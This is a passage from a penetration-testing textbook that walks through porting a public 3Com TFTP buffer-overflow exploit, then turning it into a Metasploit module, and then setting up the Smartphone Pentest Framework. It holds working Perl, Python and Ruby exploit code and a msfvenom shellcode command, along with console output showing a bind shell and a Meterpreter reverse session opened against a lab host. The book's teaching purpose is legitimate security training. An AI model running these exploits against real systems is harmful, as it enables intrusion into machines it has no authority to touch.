ESI instruction) to redirect execution to the attacker-controlled ESI register .
N o t e A
NOP sled is a series of no operating instructions (\x90 in hex) that do nothing and
move on. They are typically used to pad exploits. Exploit developers can just redirect
execution to somewhere in the NOP sled, and execution will just “slide” down the NOP
sled, doing nothing, until it reaches the shellcode. However, we have learned that we
can be more precise with our exploits, and we usually don’t need NOP sleds at all.
The command for the variable $jmp_2000  tells us that the exploit uses
a JMP ESI instruction in USER32.dll on Windows 2000 SP4 English.
Finding a Return Address
Because we are using a different platform, the memory location (0x77E5080E)
of this JMP ESI instruction may be different. USER32.dll is a component of
the Windows operating system. Windows XP does not use ASLR, discussed
later in this chapter, so USER32.dll is loaded into the same memory location
on all Windows XP SP3 English platforms.
We have taken advantage of static DLL locations in our previous exploit
exercises. We need not have a copy of 3Com TFTP running to find the
memory locations of instructions in Windows components. For example,
as shown in Figure 19-4, from debugging War-FTP, we can search for a JMP
ESI instruction in USER32.dll. (It is a good idea to stick with the DLL noted
in the original exploit if we don’t have a copy of the program. We can’t be
sure the program loads MSVCRT.dll, for example.)
Of course, in our case, we have 3Com TFTP locally, but if we didn’t
have access to the app, we could use Mona to look for JMP instructions inside
a specific module. For example, we could look for instances of JMP ESI (or
the equivalent) with the command !mona jmp -r esi -m user32, as shown in
Figure 19-4.
Fuzzing, Porting Exploits, and Metasploit Modules 429
Figure 19-4: Finding JMP ESI instructions in USER32.dll
And we find a JMP ESI instruction at the memory address 7E45AE4E in
USER32.dll on Windows XP SP3. If we change the jmp_2000 variable to this
value in little-endian format, this exploit should work for our platform.
$jmp_2000 = "\x4E\xAE\x45\x7E";
Replacing Shellcode
As noted earlier, we also need to replace the shellcode with code generated
by Msfvenom. We can use a bind shell or any Windows payload that will fit
in 344 + 129 bytes (the included shellcode plus the NOP sled). The only bad
character we need to avoid this time is the null byte. Tell Msfvenom to output the payload in Perl format so we can easily add it to our exploit.
[email protected]:~# msfvenom -p windows/shell_bind_tcp -b '\x00' -s 473 -f perl
Editing the Exploit
Our generated shellcode from Msfvenom is 368 bytes, whereas the original
shellcode in the public exploit was 344 bytes. Now make the changes to
the original exploit code shown in Listing 19-6. We delete the NOP sled
and pad our exploit string with 105 bytes after the shellcode, so our return
address still ends up hijacking EIP.
430 Chapter 19
#!/usr/bin/perl -w
#===============================================================
#
3Com TFTP Service <= 2.0.1 (Long Transporting Mode) Overflow Perl Exploit
#
By Umesh Wanve ([email protected])
#===============================================================
# Credits : Liu Qixu is credited with the discovery of this vulnerability.
# Reference : http://www.securityfocus.com/bid/21301
# Date : 27-02-2007
# Tested on Windows XP SP3
# You can replace shellcode with your favourite one :
# Buffer overflow exists in transporting mode name of TFTP server.
# So here you go.
# Buffer = "\x00\x02"
+ "filename"
+ "\x00" + nop sled + Shellcode + JUMP + "\x00";
# This was written for educational purpose. Use it at your own risk. Author will not be
responsible for any damage.
#===============================================================
use IO::Socket;
if(!($ARGV[1]))
{
print "\n3COM Tftp long transport name exploit\n";
print "\tCoded by Umesh wanve\n\n";
print "Use: 3com_tftp.pl <host> <port>\n\n";
exit;
}
$target = IO::Socket::INET->new(Proto=>'udp',
PeerAddr=>$ARGV[0],
PeerPort=>$ARGV[1])
or die "Cannot connect to $ARGV[0] on port $ARGV[1]";
my($shellcode) = 
"\xda\xc5\xd9\x74\x24\xf4\x5f\xb8\xd4\x9d\x5d\x7a\x29\xc9" .
--snip-"\x27\x92\x07\x7e";
print "++ Building Malicious Packet .....\n";
$padding="A" x 105; 
$jmp_xp = "\x4E\xAE\x45\x7E";# jmp esi user32.dll windows xp sp3 english
$exploit = "\x00\x02";
#write request (header)
$exploit=$exploit."A";
#file name
$exploit=$exploit."\x00";
#Start of transporting name
$exploit=$exploit.$shellcode;
#shellcode
$exploit=$exploit.$padding;
#padding
$exploit=$exploit.$jmp_xp;
#jump to shellcode
$exploit=$exploit."\x00";
#end of TS mode name
print $target $exploit;
#Attack on victim
print "++ Exploit packet sent ...\n";
print "++ Done.\n";
print "++ Telnet to 4444 on victim's machine ....\n";
sleep(2);
close($target);
exit;
#---------------------------------------------------------------------------------------------# milw0rm.com [2007-02-28]
Listing 19-6: The ported exploit
Fuzzing, Porting Exploits, and Metasploit Modules 431
Our ported exploit will look like Listing 19-6, with the shellcode ,
padding , and return address  adjusted to meet our needs.
If you’ve done everything correctly, when you run the ported exploit, a
bind shell with System privileges will open on TCP port 4444, as shown in
Listing 19-7.
[email protected]:~# ./exploitdbexploit.pl 192.168.20.10 69
++ Building Malicious Packet .....
++ Exploit packet sent ...
++ Done.
++ Telnet to 4444 on victim's machine ....
[email protected]:~# nc 192.168.20.10 4444
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
Listing 19-7: Running the ported exploit
Writing Metasploit Modules
Throughout this book we have leveraged many Metasploit modules for
information gathering, exploitation, post exploitation, and so on. As new
vulnerabilities are discovered, Metasploit modules are written for these
issues, often by members of the security community like you. Additionally,
as new post-exploitation or information-gathering techniques are implemented by researchers, they are often ported into Metasploit modules.
In this section, we will look at the basics of writing our own Metasploit
exploit module.
Note
Metasploit modules are written in Ruby.
The best way to write a Metasploit module is to start with a similar existing module or skeleton and, similar to what we did in the previous section,
port the exploit to meet our needs. Let’s begin with an existing Metasploit
TFTP exploit module and port the 3Com TFTP stack-based buffer overflow
that we left as an exercise earlier in this chapter. Of course, a Metasploit
module already exists for this vulnerability, but it would be too easy to use
it as a base module.
To see all the exploits for Windows TFTP servers, view the contents of
/usr/share/metasploit-framework/modules/exploits/windows/tftp in Kali.
We’ll start with the module futuresoft_transfermode.rb. This module (shown
in Listing 19-8) exploits a similar issue: a buffer overflow in the transfer
mode field of another piece of TFTP software. We will adapt it for our 3Com
TFTP exploit module.
432 Chapter 19
[email protected]:/usr/share/metasploit-framework/modules/exploits/windows/tftp# cat
futuresoft_transfermode.rb
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote u
Rank = AverageRanking
include Msf::Exploit::Remote::Udp v
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name'
=> 'FutureSoft TFTP Server 2000 Transfer-Mode Overflow',
'Description'
=> %q{
This module exploits a stack buffer overflow in the FutureSoft TFTP Server
2000 product. By sending an overly long transfer-mode string, we were able
to overwrite both the SEH and the saved EIP. A subsequent write-exception
that will occur allows the transferring of execution to our shellcode
via the overwritten SEH. This module has been tested against Windows
2000 Professional and for some reason does not seem to work against
Windows 2000 Server (could not trigger the overflow at all).
},
'Author'
=> 'MC',
'References'
=>
[
['CVE', '2005-1812'],
['OSVDB', '16954'],
['BID', '13821'],
['URL', 'http://www.security.org.sg/vuln/tftp2000-1001.html'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload'
=>
{
'Space'
=> 350, w
'BadChars' => "\x00", x
'StackAdjustment' => -3500, y
},
'Platform'
=> 'win',
'Targets'
=> z
[
['Windows 2000 Pro English ALL',
['Windows XP Pro SP0/SP1 English',
['Windows NT SP5/SP6a English',
['Windows 2003 Server English',
],
{
{
{
{
'Ret'
'Ret'
'Ret'
'Ret'
=>
=>
=>
=>
0x75022ac4}
0x71aa32ad}
0x776a1799}
0x7ffc0638}
],
],
],
],
#
#
#
#
ws2help.dll
ws2help.dll
ws2help.dll
PEB return
Fuzzing, Porting Exploits, and Metasploit Modules 433
'Privileged'
=> true,
'DisclosureDate' => 'May 31 2005'))
register_options(
[
Opt::RPORT(69) {
], self.class)
end |
def exploit
connect_udp}
print_status("Trying target #{target.name}...")
sploit = "\x00\x01" + rand_text_english(14, payload_badchars) + "\x00"
sploit += rand_text_english(167, payload_badchars)
seh = generate_seh_payload(target.ret)
sploit[157, seh.length] = seh
sploit += "\x00"
udp_sock.put(sploit) ~
handler
disconnect_udp
end
end
Listing 19-8: Metasploit module example
In the class definition u, as well as the include statements v, the author
of this module tells Metasploit which mixins, or libraries, the module will
inherit constructs from. This is a remote exploit over UDP that uses an SEH
overwrite attack.
In the Payload section w, we tell Metasploit how many bytes we have available in the attack string for the payload. We also list the bad characters that
need to be avoided x. The StackAdjustment option y tells Metasploit to move
ESP to the beginning of the payload to make more room on the stack for the
payload to do its work without overwriting itself.
In the Targets section z, the author lists all the targets that Metasploit
can attack together with their relevant return addresses. (Note that we
do not have to write return addresses in little-endian format. We will take
care of this later in the module.) In addition to the default options for the
Exploit::Remote::UDP mixin, the author also registered the RPORT option as
69 {, the default port for TFTP. Many programming languages use brackets
to designate blocks such as functions or loops. Python uses indentation, and
Ruby (the language used here) uses the word end | to designate the end of a
block.
434 Chapter 19
The Exploit::Remote::UDP mixin does all the work of setting up a UDP
socket for us. All we need to do is call the function connect_udp }. (You’ll
find the details of connect_udp and other Exploit::Remote::UDP methods at
/usr/share/metasploit-framework/lib/msf/core/exploit/udp.rb in Kali.)
The author then tells Metasploit how to create the exploit string. After
the exploit string is built, the author uses the udp_sock.put method ~ to send
it to the vulnerable server.
A Similar Exploit String Module
The example module uses an SEH exploit, whereas our 3Com TFTP
exploit uses a saved return pointer, so let’s look at the exploit string in
another Metasploit TFTP example for help in creating our exploit. Here
is the exploit string used in the exploit/windows/tftp/tftpd32_long_filename.rb
module.
sploit = "\x00\x01"u + rand_text_english(120, payload_badchars)v + "." +
rand_text_english(135, payload_badchars) + [target.ret].pack('V')w + payload.
encodedx + "\x00"
Recall that the first two bytes of a TFTP packet are the opcode u. Here,
the packet is telling the TFTP we want to read a file. Next is the filename,
rand_text_english(120, payload_badchars). As the module name suggests, rather
than writing too much data into the transport mode field, this exploit uses
a long filename. The author uses Metasploit’s rand_text_english function to
create a 120-character string that avoids any bad characters by pulling from
the BadChar variable earlier in the module v. This exploit seems to require a
period (.) and then some more random text, after which the return address
is added to the string. Metasploit pulls the return address from the ret variable defined earlier in the module.
pack is a Ruby method that turns an array into a binary sequence
according to a template. The 'V' template w directs Ruby to pack our
return address in little-endian format. Following the return address, the
user’s chosen payload is encoded and appended to the exploit string, and
the payload fills the total space allowed, as defined in the Space variable x.
A null byte signals the end of the filename field. (Interestingly, the attack
string does not even need to finish the TFTP packet to exploit the program,
because the mode and final null byte are not appended to the exploit
string.)
Porting Our Exploit Code
Earlier in this chapter, I suggested writing an exploit for the 3Com TFTP
server long transport mode vulnerability as an exercise. Your finished exploit
should be similar to the code shown in Listing 19-9. If you didn’t try writing
this exploit, you should still be able to sort out how the code works, having
worked through the previous examples.
Fuzzing, Porting Exploits, and Metasploit Modules 435
#!/usr/bin/python
import socket
 shellcode = ("\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\
x1d" + "\x4d\x2f\xe8\x83\xeb\xfc\xe2\xf4\xe1\x27\xc4\xa5\xf5\xb4\xd0\x17" +
--snip-"\x4e\xb2\xf9\x17\xcd\x4d\x2f\xe8")
buffer = shellcode + "A" * 129 + "\xD3\x31\xC1\x77" 
packet = "\x00\x02" + "Georgia" + "\x00" + buffer + "\x00"
s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(packet,('192.168.20.10',69))
response = s.recvfrom(2048)
print response
Listing 19-9: Finished 3Com TFTP Python exploit
Your return address may point to another JMP ESI instruction , and
you may have used a different payload .
Now let’s port the Python exploit into Metasploit, changing values in
the FutureSoft TFTP example module to fit our needs. We need to make
only a few changes to the existing exploit module we discussed previously,
as shown in Listings 19-10 and 19-11.
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Udp u
def initialize(info = {})
super(update_info(info,
'Name'
=> '3com TFTP Long Mode Buffer Overflow',
'Description'
=> %q{
This module exploits a buffer overflow in the 3com TFTP version 2.0.1 and below with
a long TFTP transport mode field in the TFTP packet.
},
'Author'
=> 'Georgia',
'References'
=> v
[
['CVE', '2006-6183'],
['OSVDB', '30759'],
['BID', '21301'],
['URL', 'http://www.security.org.sg/vuln/tftp2000-1001.html'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
436 Chapter 19
},
'Payload'
=>
{
'Space'
=> 473, w
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform'
=> 'win',
'Targets'
=>
[
['Windows XP Pro SP3 English', { 'Ret' => 0x7E45AE4E } ], #JMP ESI
],
'Privileged'
=> true,
'DefaultTarget' => 0, y
'DisclosureDate' => 'Nov 27 2006'))
USER32.dll x
register_options(
[
Opt::RPORT(69)
], self.class)
end
Listing 19-10: Edited module, part 1
Because this is a saved return pointer overwrite exploit, we will
not need to import the SEH Metasploit mixin; we will only import
Msf::Exploit::Remote::Udp u. Next we change the module’s information to
match the 3Com TFTP 2.0.1 long transport mode vulnerability to enable
Metasploit users to search for our module and verify that they have the correct exploit for the vulnerability. Search vulnerability references online to
find the CVE, OSVDB, and BID numbers, and any other relevant links v.
Next we change the payload options to match our 3Com exploit. In our
Python exploit, we lead with 344 bytes of shellcode, followed by 129 bytes
of padding, giving us a total of 473 bytes to work with for the payload. Tell
Metasploit to create a 473-byte payload at w. For the target section, our
Python exploit covers only one platform, Windows XP Professional SP3
English. If we were submitting our exploit to the Metasploit repositories,
we should try to cover as many exploitable targets as possible.
Finally, change the RET to the JMP ESI in USER32.dll  from the Python
exploit. We’ve also added the DefaultTarget option to tell Metasploit to use
target 0 by default, so the user won’t need to set a target before running the
module y.
The only changes we need to make in the exploit portion of the module are to the exploit string itself, as shown in Listing 19-11.
def exploit
connect_udp
print_status("Trying target #{target.name}...")
Fuzzing, Porting Exploits, and Metasploit Modules 437
sploit = "\x00\x02"u + rand_text_english(7, payload_badchars)v + "\x00"w
sploit += payload.encodedx + [target.ret].pack('V')y + "\x00"z
udp_sock.put(sploit)
handler
disconnect_udp
end
end {
Listing 19-11: Edited module, part 2
As in the Python exploit, we start by telling the TFTP server to write
to a file u. We then use the rand_text_english function to create a random
seven-character filename v. This method is superior to using static letters
as we did in the Python exploit, because anything that is predictable can
be used to write signatures for antivirus programs, intrusion-prevention
systems, and so on. Next we follow the specification for a TFTP packet with
a null byte to finish the filename at w, and then tack on the user’s chosen
payload x and the return address y. We finish the packet with a null byte,
per the TFTP specification z. (After using end to close the exploit function,
don’t forget to close the module as well at {.)
We have now written an exploit module for the 3Com TFTP 2.0.1 long
transport mode vulnerability. Save the file in /root/.msf4/modules/exploits/
windows/tftp/myexploit.rb, and then run the Msftidy tool on the module to
verify that it meets the format specifications for Metasploit modules. Make
any formatting changes that Msftidy suggests before submitting a module to
the Metasploit repository.
[email protected]:~# cd /usr/share/metasploit-framework/tools/
[email protected]:/usr/share/metasploit-framework/tools# ./msftidy.rb /root/.msf4/
modules/exploits/windows/tftp/myexploit.rb
Note
From time to time, Metasploit makes changes to its desired syntax, so run msfupdate
to get the latest version of Msftidy if you are actually going to submit a module to the
repositories. In this case, we don’t need to worry about it, and running msfupdate
may cause other exercises in the book to break, so I don’t recommend it for now.
Restart Msfconsole to load the latest modules, including any in this
.msf4/modules directory. If you have made any syntax errors, Metasploit will
display the details of the modules it was unable to load.
Now use your new exploit module to attack your Windows XP target. As
you see in Listing 19-12, Metasploit can fit many payloads in 473 characters,
including Meterpreter u.
msf > use windows/tftp/myexploit
msf exploit(myexploit) > show options
Module options (exploit/windows/tftp/myexploit):
438 Chapter 19
Name
---RHOST
RPORT
Current Setting
--------------69
Required
-------yes
yes
Description
----------The target address
The target port
Exploit target:
Id
-0
Name
---Windows XP Pro SP3 English
msf exploit(myexploit) > set RHOST 192.168.20.10
RHOST => 192.168.20.10
msf exploit(myexploit) > show payloads
--snip-msf exploit(myexploit) > set payload windows/meterpreter/reverse_tcpu
payload => windows/meterpreter/reverse_tcp
msf exploit(myexploit) > set LHOST 192.168.20.9
LHOST => 192.168.20.9
msf exploit(myexploit) > exploit
[*] Started reverse handler on 192.168.20.9:4444
[*] Trying target Windows XP Pro SP3 English...
[*] Sending stage (752128 bytes) to 192.168.20.10
[*] Meterpreter session 1 opened (192.168.20.9:4444 -> 192.168.20.10:4662) at
2015-02-09 09:28:35 -0500
meterpreter >
Listing 19-12: Using your module
Now that we’ve walked through one example of writing a Metasploit
module, here’s an idea for another. A Metasploit module that can exploit
the War-FTP 1.65 USER buffer overflow, found at /usr/share/metasploit
-framework/modules/exploits/windows/ftp/warftpd_165_user.rb, uses the saved
return pointer overwrite technique. Try writing a similar module that uses
the SEH overwrite technique we worked through in Chapter 18.
Exploitation Mitigation Techniques
We discussed one exploit mitigation technique, called SafeSEH, in Chapter 18.
In typical cat-and-mouse fashion, attackers develop new exploitation techniques while platforms implement mitigation techniques, and then attackers come up with something new. Here we will briefly discuss a few modern
exploit mitigation methods. This list is by no means complete, nor is it
within the scope of this book to discuss writing exploits that successfully
bypass all these restrictions. There are many advanced exploitation and
payload delivery techniques, such as heap sprays and return-oriented programming, beyond those discussed here. Check out my website (http://www
.bulbsecurity.com/) and the Corelan Team’s website (http://www.corelan.be/)
for more information on advanced exploit development techniques.
Fuzzing, Porting Exploits, and Metasploit Modules 439
Stack Cookies
Naturally, as buffer overflow exploits became prevalent, developers wanted
to stop these sorts of attacks from hijacking execution. One way to do so is
by implementing stack cookies, also known as canaries. At the start of a program, a stack cookie is calculated and added to the .data section of memory.
Functions that use structures prone to buffer overflows, such as string buffers, grab the canary value from .data and push it onto the stack after the
saved return address and EBP. Just before a function returns, it checks the
value of the canary on the stack against the value in .data. If the values
don’t match, a buffer overflow is detected, and the program is terminated
before the attack can hijack execution.
You can use multiple techniques for bypassing stack cookies, such as
triggering an SEH overwrite and exception before the vulnerable function
returns and hijacking execution before the canary value is checked.
Address Space Layout Randomization
The exploits we have written in this book have relied on certain instructions being at certain memory addresses. For example, in our first War-FTP
stack-based buffer overflow example in Chapter 17, we relied on a JMP ESP
equivalent instruction in the Windows MSVCRT.dll module being at memory
address 0x77C35459 on all Windows XP SP3 English systems. In our SEH overwrite example in Chapter 18, we relied on the POP POP RET instructions in WarFTP’s MFC42.dll module being at memory address 0x5F4580CA. If neither case
were true, our entire attack approach would have been undermined, and we
would have to find the instructions before we could execute them.
When ASLR is implemented, you can’t count on certain instructions
being at certain memory addresses. To see ASLR in action, open the Winamp
program in Immunity Debugger on your Windows 7 virtual machine. Note
the memory locations of Winamp.exe and some Windows DLLs such as
USER32 and SHELL32. Now restart the system and try again. You should
notice that the locations of the Windows components change at reboot while
the location of Winamp.exe stays the same. In my case, the first time I looked
at Winamp in Immunity Debugger, the memory locations were as follows:
•
•
•
00400000 Winamp.exe
778B0000 USER32.dll
76710000 SHELL32.dll
After reboot they looked like this:
•
•
•
00400000 Winamp.exe
770C0000 USER32.dll
75810000 SHELL32.dll
Like SafeSEH, there is no rule in Windows that programs must implement ASLR. Even some Windows applications such as Internet Explorer
didn’t implement ASLR right away. However, Windows Vista and later
440 Chapter 19
shared libraries such as USER32.dll and SHELL32.dll do use ASLR. If we
want to use any code in these libraries, we will not be able to call instructions directly from a static address.
Data Execution Prevention
In the exploits we developed in the past few chapters, we relied on the ability to inject our shellcode into memory somewhere, pass execution to the
shellcode, and have the shellcode execute. Data execution prevention (DEP)
makes this a little harder by designating specific parts of memory as nonexecutable. If an attacker tries to execute code from nonexecutable memory,
the attack will fail.
DEP is used in most modern versions of Windows, as well as Linux,
Mac OS, and even Android platforms. iOS does not require DEP, as discussed in the next section.
To bypass DEP, attackers typically use a technique called return-oriented
programming (ROP). ROP allows attackers to execute specific instructions
already included in executable memory. One common technique is to use
ROP to create a section of memory that is writable and executable, and
then write the payload to this memory segment and execute it.
Mandatory Code Signing
Apple’s iOS team takes a different approach to preventing malicious code
from executing. All code that executes on an iPhone must be signed by a
trusted authority, usually Apple itself. To run an application on an iPhone,
developers must submit the code for Apple’s review. If Apple determines
that their app is not malicious, it is usually approved and the code is signed
by Apple.
One common route that malware authors take to bypass detection
at install time is downloading new, potentially malicious code at runtime
and executing it. However, because all memory pages must be signed by
a trusted authority, this sort of attack will fall flat on an iPhone. As soon
as the application attempts to run unsigned code, the CPU will reject it,
and the application will crash. DEP is not required, because mandatory
code signing takes the protection a step further.
Of course, it is possible to write exploits that bypass these restrictions,
as with iPhone jailbreaks, but on the latest versions of iOS, a jailbreak is no
small feat. Rather than using ROP briefly to create a DEP bypass, with mandatory code signing, the entire payload must be created using ROP.
One mitigation technique alone is not enough to foil the most skilled
exploit developers armed with the latest methods. As a result, exploit mitigation techniques are typically chained together to further foil attacks. For
example, iOS uses both mandatory code signing and full ASLR. Thus, an
attacker has to use ROP for the entire payload, and thanks to ASLR, building a ROP payload is no picnic.
Fuzzing, Porting Exploits, and Metasploit Modules 441
In the previous two chapters, we have covered a solid introduction to
exploit development. Building on the skills we discussed, you can move on
to more advanced exploitation—even taking out the latest, most secure
platforms and programs.
Summary
In this chapter we looked at a few odds and ends for basic exploit development.
We looked at a technique called fuzzing in order to find potential exploitation
points. We also looked at working with public exploits and porting them
to meet our needs. We replaced the shellcode using Msfvenom and found
a return address that works with our platform. Next we looked at porting a
completed Python exploit into our first Metasploit module. Starting with
a module for a similar issue, we made changes to fit the 3Com TFTP long
transport mode buffer overflow vulnerability. Finally, we talked briefly
about some of the exploitation mitigation techniques that you will encounter as you continue your study of exploit development.
We are nearing the end of our journey into the basics of penetration
testing. Let’s finish up with a chapter on assessing the security of mobile
devices.
442 Chapter 19
Part V
Mobile Hacking
20
U s i n g t h e S m a r t ph o n e
Pentest Fr ame work
Bring your own device (BYOD) is a big buzzword in the
industry right now. Though we’ve been bringing our
own devices to work in one form or another for years
(contractor laptops or that game console someone
left connected to the network in the breakroom, for example), mobile
devices are now entering the workplace en masse, and it falls to security
teams and pentesters to evaluate the security risks of these devices.
In this chapter, we’ll focus on tools and attacks for assessing the security of mobile devices. Mobile technology is a rapidly developing field, and
though we can cover only the basics here, developing new mobile attacks
and post-exploitation techniques is an ideal place to start with your own
security research. For example, we’ll be discussing a tool I created to help
pentesters to assess the security posture of mobile devices, the Smartphone
Pentest Framework (SPF). After working your way through this book, you will
be ready to embark on your own infosec journey and perhaps write a tool of
your own.
For most of the examples in this chapter, we’ll use the Android platform as a target because, in addition to being the most ubiquitous platform,
it also allows you to create emulators on Windows, Linux, and Mac OS platforms. Although we’ll focus on Android, we’ll also explore an attack on a
jailbroken iPhone.
Mobile Attack Vectors
Though mobile devices run operating systems, speak TCP/IP, and access
a lot of the same resources that traditional computers do, they also have
their own unique features that add new attack vectors and protocols to the
mix. Some features have been causing security problems on devices for years,
while others such as near field communication, discussed later, are fairly new.
Text Messages
Many mobile devices can send and receive text (SMS) messages. Though
limited in size, text messages allow users to communicate almost simultaneously, often replacing email for written communications. SMS opens up a
new social-engineering attack vector.
Traditionally, email has been the medium for sending spam and phishing attempts, but even free email solutions do a decent job of filtering out
the garbage these days. (If you ever need a laugh at work, check your email
spam folder.) SMS is a different story: Although some mobile antivirus suites
allow you to blacklist and whitelist certain mobile numbers, generally if you
text a number to a device, the message will be received. This makes SMS an
ideal vector for spam and phishing attacks.
We’re already seeing annoying mobile ads and SMS phishing attempts
that lure users to a counterfeit website to enter their credentials, much
like the site-cloning attacks from Chapter 11. These attacks will no doubt
become more prevalent as time goes on. Security-awareness training will
need to be augmented to include this threat. A user who knows better than
to click a random link in a suspicious-looking email may still click a random
link in a text message. After all, it’s just a text—how could a text possibly
hurt you? But that link will open in the mobile browser or another app that
may contain additional vulnerabilities.
Near Field Communication
Mobile devices bring yet another attack vector to the table: near field communication, or NFC. NFC allows devices to share data by touching or
being near each other. Mobile devices with NFC enabled can scan NFC
tags to automate tasks such as changing settings or opening applications.
Some can beam data, such as a photo or an entire app, from one device
to another. NFC is another ideal social-engineering attack vector. For
example, in Mobile Pwn2Own 2013, an exploitation contest, researchers
used NFC to attack an Android device by beaming a malicious payload
446 Chapter 20
to a vulnerable application on the device. Therefore, security awareness
training should also teach users to be aware of which NFC tags their device
responds to and who they are beaming data with.
QR Codes
Quick response (QR) codes are matrix barcodes originally developed for use
in auto manufacturing. QR codes can embed URLs, send data to an application on a mobile device, and so on, and users should be aware that what
they are scanning may open something malicious. That QR code on a store
window doesn’t have to point to the store’s website, and malicious QR code
attacks have occurred in the wild. For instance, one prominent hacktivist
changed his Twitter profile picture to a QR code, prompting many curious
users to scan it with their phones. The QR code directed them to a malicious web page that attempted to exploit vulnerabilities in WebKit, a web
page rendering engine used by both iOS and Android.
The Smartphone Pentest Framework
Enough talk; let’s turn our attention to actually attacking mobile devices
with the help of SPF. SPF is still under active development and its feature
set changes rapidly. By the time you work through this section, many of the
menus may offer additional options. In Chapter 1, you downloaded the version of the SPF used in this book, but to get the main and most up-to-date
branch of SPF, visit https://github.com/georgiaw/Smartphone-Pentest-Framework​.git/.
Setting Up SPF
If you followed the instructions in Chapter 1, SPF should be all set up and
ready to go. Because SPF uses Kali’s built-in web server to deliver some payloads, make sure that the Apache server is running, as shown here.
[email protected]:~/Smartphone-Pentest-Framework/frameworkconsole# service apache2 start
Additionally, SPF records information in either a MySQL or PostgreSQL
database. Make sure the MySQL database is started, as shown here.
[email protected]:~/Smartphone-Pentest-Framework/frameworkconsole# service mysql start
The last thing to do is edit our SPF configuration file, /root/Smartphone​
-Pentest-Framework/frameworkconsole/config, to match our environment. The
default configuration file is shown in Listing 20-1.
[email protected]:~/Smartphone-Pentest-Framework/frameworkconsole# cat config
#SMARTPHONE PENTEST FRAMEWORK CONFIG FILE
#ROOT DIRECTORY FOR THE WEBSERVER THAT WILL HOST OUR FILES
WEBSERVER = /var/www
#IPADDRESS FOR WEBSERVER (webserver needs to be listening on this address)
IPADDRESS = 192.168.20.9 u
Using the Smartphone Pentest Framework
447
#IP ADDRESS TO LISTEN ON FOR SHELLS
SHELLIPADDRESS = 192.168.20.9 v
#IP ADDRESS OF SQLSERVER 127.0.0.1 IF LOCALHOST
MYSQLSERVER = 127.0.0.1
--snip-#NMAP FOR ANDROID LOCATION
ANDROIDNMAPLOC = /root/Smartphone-Pentest-Framework/nmap-5.61TEST4
#EXPLOITS LOCATION
EXPLOITSLOC = /root/Smartphone-Pentest-Framework/exploits
Listing 20-1: SPF config file
The default should meet your needs if your Kali IP address is 192.168.20.9
and you installed SPF in /root/Smartphone-Pentest-Framework/. Otherwise, change
the IPADDRESS u and SHELLIPADDRESS v to your Kali machine’s IP address.
Now run SPF by changing the directory to /root/Smartphone-Pentest
-Framework/frameworkconsole/ and running ./framework.py. You should be
presented with a menu similar to Listing 20-2.
[email protected]:~/Smartphone-Pentest-Framework/frameworkconsole# ./framework.py
################################################
#
#
# Welcome to the Smartphone Pentest Framework! #
#
v0.2.6
#
#
Georgia Weidman/Bulb Security
#
#
#
################################################
Select An Option from the Menu:
1.)
2.)
3.)
4.)
5.)
6.)
7.)
8.)
9.)
10.)
11.)
0.)
Attach Framework to a Deployed Agent/Create Agent
Send Commands to an Agent
View Information Gathered
Attach Framework to a Mobile Modem
Run a remote attack
Run a social engineering or client side attack
Clear/Create Database
Use Metasploit
Compile code to run on mobile devices
Install Stuff
Use Drozer
Exit
spf>
Listing 20-2: Starting SPF
We will spend the rest of the chapter exploring SPF’s various options.
For now, let’s run a quick test to make sure that SPF can communicate with
the database. The SPF installer set up an empty database for SPF, but you
448 Chapter 20
can clear out all your data and start fresh by running option 7.) Clear/Create
Database, as shown here. This command will clear the SPF database tables
and create them if they do not already exist.
spf> 7
This will destroy all your data. Are you sure you want to? (y/N)? y
Android Emulators
In Chapter 1, we created three Android emulators. Though some of our
attacks will work regardless of the Android version, we’ll look at certain
client-side and privilege-escalation attacks that work well on emulators
that target these specific older versions. Because they’re only emulators, you
won’t be able to successfully test all known Android exploits against your
Android emulators.
Attaching a Mobile Modem
Because not all mobile attack vectors use the TCP/IP network, SPF piggybacks on the pentester’s devices. As of this writing, SPF can use the mobile
modem of an Android phone with the SPF app installed or USB modem
with a SIM card to send SMS messages. Additionally, when using an Android
phone with NFC capability, SPF can deliver payloads via Android Beam and
the SPF Android App.
Building the Android App
To build the Android app from SPF, choose option 4.) Attach Framework to a
Mobile Modem, as shown in Listing 20-3.
spf> 4
Choose a type of modem to attach to:
1.) Search for attached modem
2.) Attach to a smartphone based app
3.) Generate smartphone based app
4.) Copy App to Webserver
5.) Install App via ADB
spf> 3u
Choose a type of control app to generate:
1.) Android App (Android 1.6)
2.) Android App with NFC (Android 4.0 and NFC enabled device)
spf> 1v
Phone number of agent: 15555215556w
Control key for the agent: KEYKEY1x
Webserver control path for agent: /androidagent1y
Using the Smartphone Pentest Framework
449
Control Number:15555215556
Control Key:KEYKEY1
ControlPath:/bookspf
Is this correct?(y/n)y
--snip--post-build:
debug:
BUILD SUCCESSFUL
Total time: 10 seconds
Listing 20-3: Building the SPF app
Next select option 3.) Generate smartphone based app u. SPF can make two
kinds of apps: one that uses NFC, and one that does not. Because our Android
emulator lacks NFC capabilities, choose 1.) Android App (Android 1.6) v.
You’ll be asked to enter information about an SPF agent to control
via the SPF app. SPF agents allow us to control an infected mobile device.
We’ll look at generating and deploying SPF agents later in the chapter; for
now, just enter the phone number of your Android 2.2 emulator w, a sevencharacter key x, and a path on the web server starting with / y. SPF will
then use the Android SDK to build the SPF app.
Deploying the App
Now to deploy the app on our Android 4.3 emulator. This emulator will
simulate the pentester-controlled device, and the other two emulators will
be our targets. If you’re running your emulators on Kali Linux or using real
Android devices that you can attach via USB to your Kali virtual machine,
you can use Android Debug Bridge (ADB) to install the app, as shown in
Listing 20-4. (First, choose option 4.) Attach Framework to a Mobile Modem
from the main menu.)
spf> 4
Choose a type of modem to attach to:
1.) Search for attached modem
2.) Attach to a smartphone based app
3.) Generate smartphone based app
4.) Copy App to Webserver
